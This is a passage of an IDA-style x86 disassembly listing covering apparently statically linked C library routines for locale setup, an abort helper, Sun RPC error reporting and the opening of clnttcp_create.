		jz	loc_80632BC
		lea	eax, [ebp+ebx*4+var_18]
		push	eax
		push	ebx
		call	_nl_load_locale
		mov	[ebp+ebx*4+var_30], eax
		add	esp, 8
		test	eax, eax
		jz	short loc_80630AC
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_80633ED
		dec	ebx
		jmp	short loc_80630F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80630AC:				; CODE XREF: sub_8062D4C+33Ej
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_80630D6
		mov	esi, [ebp+ebx*4+var_18]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_80630F4

loc_80630D6:				; CODE XREF: sub_8062D4C+373j
		cmp	[ebp+ebx*4+var_30], 0
		jnz	loc_80632FD
		mov	eax, ds:dword_806AA1C[ebx*4]
		mov	[ebp+ebx*4+var_30], eax
		jmp	loc_80632FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80630F4:				; CODE XREF: sub_8062D4C+35Cj
					; sub_8062D4C+388j ...
		inc	ebx
		cmp	ebx, 5
		jg	loc_8063616
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_806318B
		test	eax, eax
		jz	loc_80631CC
		cmp	eax, 1
		jle	short loc_806318B
		cmp	eax, 2
		jle	short loc_8063155
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8063136
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_8063136:				; CODE XREF: sub_8062D4C+3DBj
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_8063154
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063154
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063154:				; CODE XREF: sub_8062D4C+3EFj
					; sub_8062D4C+3F9j
		inc	ebx

loc_8063155:				; CODE XREF: sub_8062D4C+3D1j
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_806316C
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_806316C:				; CODE XREF: sub_8062D4C+411j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_806318A
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806318A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806318A:				; CODE XREF: sub_8062D4C+425j
					; sub_8062D4C+42Fj
		inc	ebx

loc_806318B:				; CODE XREF: sub_8062D4C+3BFj
					; sub_8062D4C+3CCj
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_80631A2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_80631A2:				; CODE XREF: sub_8062D4C+447j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_80631C0
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_80631C0
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80631C0:				; CODE XREF: sub_8062D4C+45Bj
					; sub_8062D4C+465j
		inc	ebx
		cmp	ebx, 5
		jg	loc_8063616
		lea	esi, [esi]

loc_80631CC:				; CODE XREF: sub_8062D4C+3C3j
					; sub_8062D4C+563j
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_80631E3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_80631E3:				; CODE XREF: sub_8062D4C+488j
		cmp	[ebp+ebx*4+var_18], 0
		jz	short loc_8063201
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063201
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063201:				; CODE XREF: sub_8062D4C+49Cj
					; sub_8062D4C+4A6j
		lea	edi, [ebx+1]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_806321B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_806321B:				; CODE XREF: sub_8062D4C+4C0j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_8063239
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_8063239
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063239:				; CODE XREF: sub_8062D4C+4D4j
					; sub_8062D4C+4DEj
		lea	edi, [ebx+2]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_8063253
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_8063253:				; CODE XREF: sub_8062D4C+4F8j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_8063271
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_8063271
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063271:				; CODE XREF: sub_8062D4C+50Cj
					; sub_8062D4C+516j
		lea	edi, [ebx+3]
		cmp	ds:dword_806AA04[edi*4], 0
		jz	short loc_806328B
		mov	eax, [ebp+edi*4+var_30]
		push	eax
		call	_nl_free_locale
		add	esp, 4

loc_806328B:				; CODE XREF: sub_8062D4C+530j
		cmp	[ebp+edi*4+var_18], 0
		jz	short loc_80632A9
		cmp	[ebp+edi*4+var_18], offset unk_806AABC
		jz	short loc_80632A9
		mov	eax, [ebp+edi*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80632A9:				; CODE XREF: sub_8062D4C+544j
					; sub_8062D4C+54Ej
		add	ebx, 4
		cmp	ebx, 5
		jle	loc_80631CC
		jmp	loc_8063616
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80632BC:				; CODE XREF: sub_8062D4C+324j
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+ebx*4+var_18], eax
		add	esp, 4
		test	eax, eax
		jnz	loc_80633ED
		xor	esi, esi
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_80632FD
		xor	esi, esi
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806330C

loc_80632FD:				; CODE XREF: sub_8062D4C+38Fj
					; sub_8062D4C+3A0j ...
		mov	[ebp+ebx*4+var_18], offset unk_806AABC
		jmp	loc_80633ED
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806330C:				; CODE XREF: sub_8062D4C+5AFj
		inc	ebx
		cmp	ebx, 5
		jg	loc_80633ED
		mov	eax, 6
		sub	eax, ebx
		and	eax, 3
		cmp	ebx, 6
		jge	short loc_8063363
		test	eax, eax
		jz	short loc_8063380
		cmp	eax, 1
		jle	short loc_8063363
		cmp	eax, 2
		jle	short loc_806334B
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806334A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806334A:				; CODE XREF: sub_8062D4C+5EFj
		inc	ebx

loc_806334B:				; CODE XREF: sub_8062D4C+5E5j
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063362
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063362:				; CODE XREF: sub_8062D4C+607j
		inc	ebx

loc_8063363:				; CODE XREF: sub_8062D4C+5D7j
					; sub_8062D4C+5E0j
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_806337A
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_806337A:				; CODE XREF: sub_8062D4C+61Fj
		inc	ebx
		cmp	ebx, 5
		jg	short loc_80633ED

loc_8063380:				; CODE XREF: sub_8062D4C+5DBj
					; sub_8062D4C+69Fj
		cmp	[ebp+ebx*4+var_18], offset unk_806AABC
		jz	short loc_8063397
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_8063397:				; CODE XREF: sub_8062D4C+63Cj
		lea	eax, [ebx+1]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633B1
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633B1:				; CODE XREF: sub_8062D4C+656j
		lea	eax, [ebx+2]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633CB
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633CB:				; CODE XREF: sub_8062D4C+670j
		lea	eax, [ebx+3]
		cmp	[ebp+eax*4+var_18], offset unk_806AABC
		jz	short loc_80633E5
		mov	eax, [ebp+eax*4+var_18]
		push	eax
		call	free
		add	esp, 4

loc_80633E5:				; CODE XREF: sub_8062D4C+68Aj
		add	ebx, 4
		cmp	ebx, 5
		jle	short loc_8063380

loc_80633ED:				; CODE XREF: sub_8062D4C+163j
					; sub_8062D4C+1A3j ...
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	loc_8063068
		lea	eax, [ebp+var_18]
		push	eax
		push	6
		mov	ecx, ebp
		call	sub_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_806341C
		mov	ebx, 0FFFFFFFFh
		jmp	loc_80630F4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806341C:				; CODE XREF: sub_8062D4C+6C1j
		xor	ebx, ebx
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	0
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 1
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	1
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 2
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	2
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 3
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	3
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 4
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	4
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	ebx, 5
		mov	eax, [ebp+ebx*4+var_30]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_8062CF8
		mov	eax, [ebp+ebx*4+var_18]
		push	eax
		push	5
		mov	ecx, ebp
		call	sub_8062CC8
		add	esp, 10h
		mov	edx, [ebp+var_38]
		push	edx
		mov	ecx, ebp
		call	sub_8062C9C
		mov	eax, [ebp+var_38]
		jmp	loc_8063642
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063504:				; CODE XREF: sub_8062D4C+3Dj
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8063550
		mov	eax, ds:dword_806AA34[ebx*4]
		push	eax
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4
		test	eax, eax
		jz	short loc_8063528
		cmp	byte ptr [eax],	0
		jnz	short loc_8063538

loc_8063528:				; CODE XREF: sub_8062D4C+7D5j
		push	offset aLang	; "LANG"
		call	getenv
		mov	[ebp+arg_4], eax
		add	esp, 4

loc_8063538:				; CODE XREF: sub_8062D4C+7DAj
		cmp	[ebp+arg_4], 0
		jz	short loc_8063546
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_8063550

loc_8063546:				; CODE XREF: sub_8062D4C+7F0j
		mov	eax, dword_80790BC[ebx*4]
		mov	[ebp+arg_4], eax

loc_8063550:				; CODE XREF: sub_8062D4C+7BEj
					; sub_8062D4C+7F8j
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, ebp
		call	sub_80628F8
		mov	[ebp+var_34], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_8063594
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_806358D
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806360C

loc_806358D:				; CODE XREF: sub_8062D4C+82Bj
		mov	[ebp+var_34], offset unk_806AABC

loc_8063594:				; CODE XREF: sub_8062D4C+817j
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062940
		mov	[ebp+var_38], eax
		add	esp, 8
		test	eax, eax
		jnz	short loc_80635C0
		cmp	[ebp+var_34], offset unk_806AABC
		jz	short loc_806360C
		mov	eax, [ebp+var_34]
		push	eax
		call	free
		jmp	short loc_806360C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80635C0:				; CODE XREF: sub_8062D4C+85Cj
		cmp	ds:dword_806AA04[ebx*4], 0
		jz	short loc_8063628
		lea	eax, [ebp+arg_4]
		push	eax
		push	ebx
		call	_nl_load_locale
		add	esp, 8
		test	eax, eax
		jnz	short loc_806361C
		mov	esi, [ebp+arg_4]
		mov	edi, offset unk_806AABE
		mov	ecx, 2
		cld
		test	al, 0
		repe cmpsb
		jz	short loc_8063603
		mov	esi, [ebp+arg_4]
		mov	edi, offset aPosix ; "POSIX"
		mov	ecx, 6
		cld
		test	al, 0
		repe cmpsb
		jnz	short loc_806360C

loc_8063603:				; CODE XREF: sub_8062D4C+8A1j
		mov	eax, ds:dword_806AA1C[ebx*4]
		jmp	short loc_806361C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806360C:				; CODE XREF: sub_8062D4C+Fj
					; sub_8062D4C+2B8j ...
		mov	errno, 16h

loc_8063616:				; CODE XREF: sub_8062D4C+3ACj
					; sub_8062D4C+478j ...
		xor	eax, eax
		jmp	short loc_8063642
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806361C:				; CODE XREF: sub_8062D4C+88Dj
					; sub_8062D4C+8BEj
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062CF8
		add	esp, 8

loc_8063628:				; CODE XREF: sub_8062D4C+87Cj
		mov	eax, [ebp+var_34]
		push	eax
		push	ebx
		mov	ecx, ebp
		call	sub_8062CC8
		mov	esi, [ebp+var_38]
		push	esi
		mov	ecx, ebp
		call	sub_8062C9C
		mov	eax, [ebp+var_34]

loc_8063642:				; CODE XREF: sub_8062D4C+2Bj
					; sub_8062D4C+34j ...
		lea	esp, [ebp+var_50]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8062D4C	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_806364C	proc near		; CODE XREF: abort+26p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	eax
		call	__libc_getpid
		push	eax
		call	__libc_kill
		mov	esp, ebp
		pop	ebp
		retn
sub_806364C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8063664	proc near		; CODE XREF: sub_8063688+Fp
					; clnt_spcreateerror+8p
		push	ebp
		mov	ebp, esp
		cmp	ds:dword_807E750, 0
		jnz	short loc_806367F
		push	100h
		call	malloc
		mov	ds:dword_807E750, eax

loc_806367F:				; CODE XREF: sub_8063664+Aj
		mov	eax, ds:dword_807E750
		mov	esp, ebp
		pop	ebp
		retn
sub_8063664	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8063688	proc near		; CODE XREF: clnt_perror+Bp

var_1C		= byte ptr -1Ch
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_4]
		call	sub_8063664
		mov	[ebp+var_10], eax
		mov	ebx, [ebp+var_10]
		test	ebx, ebx
		jnz	short loc_80636B0
		xor	eax, eax
		jmp	loc_8063888
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80636B0:				; CODE XREF: sub_8063688+1Cj
		mov	edx, [esi+4]
		lea	eax, [ebp+var_C]
		push	eax
		push	esi
		mov	eax, [edx+8]
		call	eax
		push	edi
		push	offset aS_2	; "%s: "
		push	ebx
		call	sprintf
		push	ebx
		call	strlen
		add	ebx, eax
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_80638B8
		push	eax
		push	ebx
		call	strcpy
		add	esp, 24h
		push	ebx
		call	strlen
		add	ebx, eax
		call	libc_nls_init
		add	esp, 4
		cmp	[ebp+var_C], 11h
		ja	loc_806385C
		mov	eax, [ebp+var_C]
		jmp	ds:off_8063708[eax*4]
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_8063708	dd offset loc_806387A	; DATA XREF: sub_8063688+79r
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_8063750
		dd offset loc_8063750
		dd offset loc_806387A
		dd offset loc_806379C
		dd offset loc_80637C4
		dd offset loc_806387A
		dd offset loc_8063838
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
		dd offset loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063750:				; CODE XREF: sub_8063688+79j
					; DATA XREF: sub_8063688+8Co ...
		mov	eax, [ebp+var_8]
		mov	eax, ds:dword_806AE98[eax*4]
		push	eax
		mov	eax, [ebp+var_8]
		inc	eax
		push	eax
		push	1
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	offset aErrnoS	; "; errno = %s"
		push	1
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		push	eax
		push	ebx
		call	sprintf
		push	ebx
		call	strlen
		add	ebx, eax
		add	esp, 20h
		jmp	loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_806379C:				; CODE XREF: sub_8063688+79j
					; DATA XREF: sub_8063688+98o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"
		push	2
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		push	eax
		jmp	loc_8063869
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80637C4:				; CODE XREF: sub_8063688+79j
					; DATA XREF: sub_8063688+9Co
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_8063A74
		mov	esi, eax
		push	offset aWhy	; "; why = "
		push	3
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	ebx
		call	sprintf
		push	ebx
		call	strlen
		add	ebx, eax
		add	esp, 20h
		test	esi, esi
		jz	short loc_8063804
		push	esi
		push	offset aS_3	; "%s"
		jmp	short loc_8063820
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063804:				; CODE XREF: sub_8063688+16Fj
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aUnknownAuthent ; "(unknown authentication error	- %d)"
		push	4
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		push	eax

loc_8063820:				; CODE XREF: sub_8063688+177j
		push	ebx
		call	sprintf
		add	esp, 0Ch
		push	ebx
		call	strlen
		add	ebx, eax
		add	esp, 4
		jmp	short loc_806387A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063838:				; CODE XREF: sub_8063688+79j
					; DATA XREF: sub_8063688+A4o
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aLowVersionLuHi ; "; low	version	= %lu, high version = %lu"
		push	2
		push	9
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		add	esp, 10h
		push	eax
		jmp	short loc_8063869
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806385C:				; CODE XREF: sub_8063688+70j
		mov	eax, [ebp+var_4]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		push	offset aS1LuS2Lu ; "; s1 = %lu,	s2 = %lu"

loc_8063869:				; CODE XREF: sub_8063688+134j
					; sub_8063688+1D0j
		push	ebx
		call	sprintf
		push	ebx
		call	strlen
		add	ebx, eax
		add	esp, 14h

loc_806387A:				; CODE XREF: sub_8063688+79j
					; sub_8063688+10Fj ...
		push	offset asc_806AB51 ; "\n"
		push	ebx
		call	sprintf
		mov	eax, [ebp+var_10]

loc_8063888:				; CODE XREF: sub_8063688+20j
		lea	esp, [ebp+var_1C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063688	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [00000024 BYTES: COLLAPSED FUNCTION clnt_perror. PRESS KEYPAD	"+" TO EXPAND]

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_80638B8	proc near		; CODE XREF: sub_8063688+4Dp
					; clnt_perrno+7p ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	libc_nls_init
		xor	ebx, ebx
		mov	edi, offset unk_80790D8
		xor	ecx, ecx
		mov	eax, offset unk_80790D8

loc_80638D4:				; CODE XREF: sub_80638B8+60j
		cmp	[eax], esi
		jnz	short loc_80638E4
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80638E4:				; CODE XREF: sub_80638B8+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_80638F8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_80638F8:				; CODE XREF: sub_80638B8+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_806390C
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [esi+1]
		push	eax
		jmp	short loc_8063921
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_806390C:				; CODE XREF: sub_80638B8+46j
		add	eax, 18h
		add	ecx, 18h
		add	ebx, 3
		cmp	ebx, 11h
		jbe	short loc_80638D4
		push	offset aRpcUnknownErro ; "RPC: (unknown	error code)"
		push	13h

loc_8063921:				; CODE XREF: sub_80638B8+29j
					; sub_80638B8+3Dj ...
		push	8
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_80638B8	endp

; [00000020 BYTES: COLLAPSED FUNCTION clnt_perrno. PRESS KEYPAD	"+" TO EXPAND]
; [000000F9 BYTES: COLLAPSED FUNCTION clnt_spcreateerror. PRESS	KEYPAD "+" TO EXPAND]
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		call	clnt_spcreateerror
		push	eax
		push	offset aS_3	; "%s"
		push	offset unk_80787A4
		call	_IO_fprintf
		mov	esp, ebp
		pop	ebp
		retn

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_8063A74	proc near		; CODE XREF: sub_8063688+140p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		call	libc_nls_init
		xor	ebx, ebx
		mov	edi, offset unk_8079168
		xor	ecx, ecx
		mov	eax, offset unk_8079168

loc_8063A90:				; CODE XREF: sub_8063A74+80j
		cmp	[eax], esi
		jnz	short loc_8063AA0
		mov	eax, [edi+ecx+4]
		push	eax
		lea	eax, [ebx+1]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063AA0:				; CODE XREF: sub_8063A74+1Ej
		lea	edx, [ecx+8]
		cmp	[eax+8], esi
		jnz	short loc_8063AB4
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+2]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063AB4:				; CODE XREF: sub_8063A74+32j
		lea	edx, [ecx+10h]
		cmp	[eax+10h], esi
		jnz	short loc_8063AC8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+3]
		jmp	short loc_8063AD8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8063AC8:				; CODE XREF: sub_8063A74+46j
		lea	edx, [ecx+18h]
		cmp	[eax+18h], esi
		jnz	short loc_8063AE8
		mov	eax, [edi+edx+4]
		push	eax
		lea	eax, [ebx+4]

loc_8063AD8:				; CODE XREF: sub_8063A74+28j
					; sub_8063A74+3Cj ...
		push	eax
		push	7
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		jmp	short loc_8063AF8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8063AE8:				; CODE XREF: sub_8063A74+5Aj
		add	eax, 20h
		add	ecx, 20h
		add	ebx, 4
		cmp	ebx, 7
		jbe	short loc_8063A90
		xor	eax, eax

loc_8063AF8:				; CODE XREF: sub_8063A74+72j
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8063A74	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: library function bp-based	frame

clnttcp_create	proc near		; CODE XREF: sub_805CE84+248p
					; .text:0805DAB3p

var_44		= byte ptr -44h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		xor	esi, esi
		call	libc_nls_init
		push	0Ch
		call	malloc
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_8063B37
		push	64h
		call	malloc
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jnz	short loc_8063B78

loc_8063B37:				; CODE XREF: clnttcp_create+21j
		push	offset aOutOfMemory ; "out of memory"
		push	1
		push	0Ah
		mov	eax, dword_8078F9C
		push	eax
		call	sub_805E584
		push	eax
		push	offset aClnttcp_crea_0 ; "clnttcp_create: %s\n"
		push	offset unk_80787A4
		call	_IO_fprintf
		mov	dword_8079220, 0Ch
		mov	eax, errno
		mov	dword_8079228, eax
		add	esp, 1Ch
		jmp	loc_8063D08
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

